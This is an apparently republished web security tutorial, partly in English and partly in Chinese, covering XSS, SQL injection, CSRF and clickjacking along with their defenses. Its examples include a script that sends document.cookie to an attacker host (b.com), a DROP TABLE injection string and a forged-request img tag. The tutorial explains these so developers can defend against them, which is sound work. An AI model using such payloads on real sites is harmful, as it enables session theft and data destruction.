Web Security Technology - Common Attacks and Defenses

For a web application, there may be many different attacks. The following content will introduce some common attack methods and defenses against them.

1. Cross-site scripting (XSS)

The full English name of cross-site scripting attack is Cross Site Script, which is abbreviated as XSS in order to distinguish it from style sheets. The reason for this is that the website outputs the content entered by the user to the page, and there may be malicious code executed by the browser in the process.

Cross-site scripting attacks can be divided into two types:

1). Reflected XSS

It is by inducing the user to open a malicious link, the server renders the malicious code of the parameters in the link into the page, and then passes it to the user for execution by the browser, so as to achieve the purpose of the attack. Such as the link below:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp renders the page to the following html:

Hello xss<script>alert(1)</script> 

The browser will then pop up a prompt box.

2). Persistent XSS

Persistent XSS submits malicious code to the server and stores it on the server side. When the user accesses the relevant content, it is rendered into the page to achieve the purpose of attack, and it is more harmful.

For example, an attacker writes a blog with malicious JS code. After the article is published, all users who visit the blog post will execute this malicious JS.

Cookie Hijacking

The current user's login credentials are generally stored in the cookie. If they are available, it often means that the user's account can be directly accessed, and cookie hijacking is also the most common XSS attack. Taking the Reflected XSS example mentioned above, this can be done as follows:

Start by enticing the user to open the link below:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

After the user opens the link, b.js is loaded and the code in b.js is executed. The following JS code is stored in b.js:

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

The above code will request a picture from b.com, but it actually sends the cookie of the current page to the server of b.com. This completes the process of stealing cookies.

A simple way to defend against cookie hijacking is to add the HttpOnly flag to Set-Cookie. The browser prohibits JavaScript from accessing cookies with the HttpOnly attribute.

Defense against XSS

1). Input check

Check the input data. For example, the user name is only allowed to be letters and numbers, and the mailbox must be in the specified format. Be sure to check in the background, otherwise the data may bypass the front-end check and be sent directly to the server. Generally, the front and back ends are checked, so that the front end can block most of the invalid data.

对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。

2). 输出检查

对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

二、SQL注入

SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句,如果用户提交的username参数是leo,则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用户提交的username参数是leo’; drop table user–,那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后,又执行了一个删除表的操作,这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句,如下面所示:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预编译方法不同,但基本都可以处理。

如果遇到无法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。

三、跨站请求伪造(CSRF)

跨站请求伪造的英文全称是Cross Site Request Forgery,是由于操作所需的所有参数都能被攻击者得到,进而构造出一个伪造的请求,在用户不知情的情况下被执行。看下面一个例子:

如果a.com网站需要用户登录后可以删除博客,删除博客的请求地址如下:

GET http://a.com/blog/delete?id=1 

当用户登录a.com后,又打开了http://b.com/b.html,其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。

CSRF的防御

  1. 验证码

CSRF是在用户不知情的情况下构造的网络情况,验证码则强制用户与应用交互,所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

  1. referer检查

检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,所以也不常用。倒是图片防盗链中用得很多。

  1. Anti CSRF Token

更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。

四、点击劫持(ClickJacking)

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操作,而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式,有图片覆盖攻击、拖拽劫持等。

点击劫持的防御

针对iframe的攻击,可使用一个HTTP头:X-Frame-Options,它有三种可选值:

  • DENY: 禁止任何页面的frame加载;
  • SAMEORIGIN:只有同源页面的frame可加载;
  • ALLOW-FROM:可定义允许frame加载的页面地址。

针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。

转自http://www.blogjava.net/linli/archive/2015/04/25/424668.html

原文地址:http://blog.gopersist.com/2015/04/25/web-security-4/

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325989054&siteId=291194637